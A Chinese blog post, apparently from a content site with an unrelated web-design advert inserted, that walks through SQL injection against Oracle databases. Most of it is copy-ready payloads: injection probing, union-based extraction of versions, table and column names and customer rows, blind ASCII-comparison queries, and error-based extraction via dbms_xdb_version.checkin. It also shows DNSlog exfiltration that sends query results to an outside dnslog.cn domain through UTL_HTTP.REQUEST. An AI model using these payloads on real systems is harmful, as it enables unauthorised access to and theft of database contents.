這篇文章將為大家詳細(xì)講解有關(guān)Oracle數(shù)據(jù)庫如何利用,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。
我們提供的服務(wù)有:成都網(wǎng)站設(shè)計、成都做網(wǎng)站、微信公眾號開發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認(rèn)證、嶧城ssl等。為1000+企事業(yè)單位解決了網(wǎng)站和推廣的問題。提供周到的售前咨詢和貼心的售后服務(wù),是有科學(xué)管理、有技術(shù)的嶧城網(wǎng)站制作公司
1.1、判斷是否存在注入點
方法和其他數(shù)據(jù)庫類似,and 1=1 和and 1=2
1.2、判斷數(shù)據(jù)庫為oracle
注釋符號--,該符號是Oracle和MsSQL支持的注釋符,返回正常就需要繼續(xù)判斷。可以繼續(xù)提交多語句支持符號;如果支持多行查詢,說明是MSSQL,因為Oracle不支持多行查詢,可以繼續(xù)提交查詢語
and (select count(*) from user_tables)>0--
利用的原理是dual表和user_tables表是oracle中的系統(tǒng)表,返回正常就判斷為Oracle
1.3.1、獲取字段數(shù),同樣可以使用oder by N 根據(jù)返回頁面判斷
1.3.2、判斷列數(shù)
union select '1','a','3','4','5' from dual -- //返回正常,則第一個字段是數(shù)字型,返回錯誤,為字符型,這里5個字段都為字符型
1.3.3、獲取數(shù)據(jù)庫版本
union select '1',(select banner from sys.v_$version where rownum=1),'3','4','5' from dual --
查詢,當(dāng)前表所屬用戶,相當(dāng)于當(dāng)前庫,如下
1.3.4、查詢第一個表名
union select '1',(select table_name from user_tables where rownum=1),'3','4','5' from dual --
union select '1',(select table_name from user_tables where rownum=1 and table_name<>'表名'),'3','4','5' from dual -- //第二個表名
查看第一個字段名
union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1),'3','4','5' from dual --
查看第二個字段名
union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1 and column_name<>'id'),'3','4','5' from dual --
查看第三個字段名,在后面再加一個and column_name<>’名稱’
select column_name from user_tab_columns where table_name='[表名]' and rownum=1 and column_name<>'[第一個字段]' and column_name<>'[第二個字段名]'
讀取數(shù)據(jù)
union select '1',age,NAME,'4','5' from CUSTOMERS --
首先去http://www.dnslog.cn/網(wǎng)站申請一個域名
UTL_HTTP.REQUEST型
and 1=2 union select '1','2',UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.o69syg.dnslog.cn'),'4','5' from dual --
第一個字段名
union select '1','2',UTL_HTTP.REQUEST((select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1)||'.o69syg.dnslog.cn
'),'4','5' from dual --
UTL_INADDR.GET_HOST_ADDRESS型DNSlog注入
3.1、獲取當(dāng)前數(shù)據(jù)庫表的個數(shù)
and (select count(table_name) from user_tables)>1--
3.2、獲取第一個表的表名長度
and (select length(table_name) from user_tables where rownum=1)>8--
獲取第一個表的第一個字符的Ascii碼的值
and ascii(substr((select table_name from user_tables where rownum=1),3,1))>82--
4.1、獲取數(shù)據(jù)庫版本信息
and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null--
4.2、當(dāng)前數(shù)據(jù)庫名稱
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--
關(guān)于“Oracle數(shù)據(jù)庫如何利用”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,使各位可以學(xué)到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。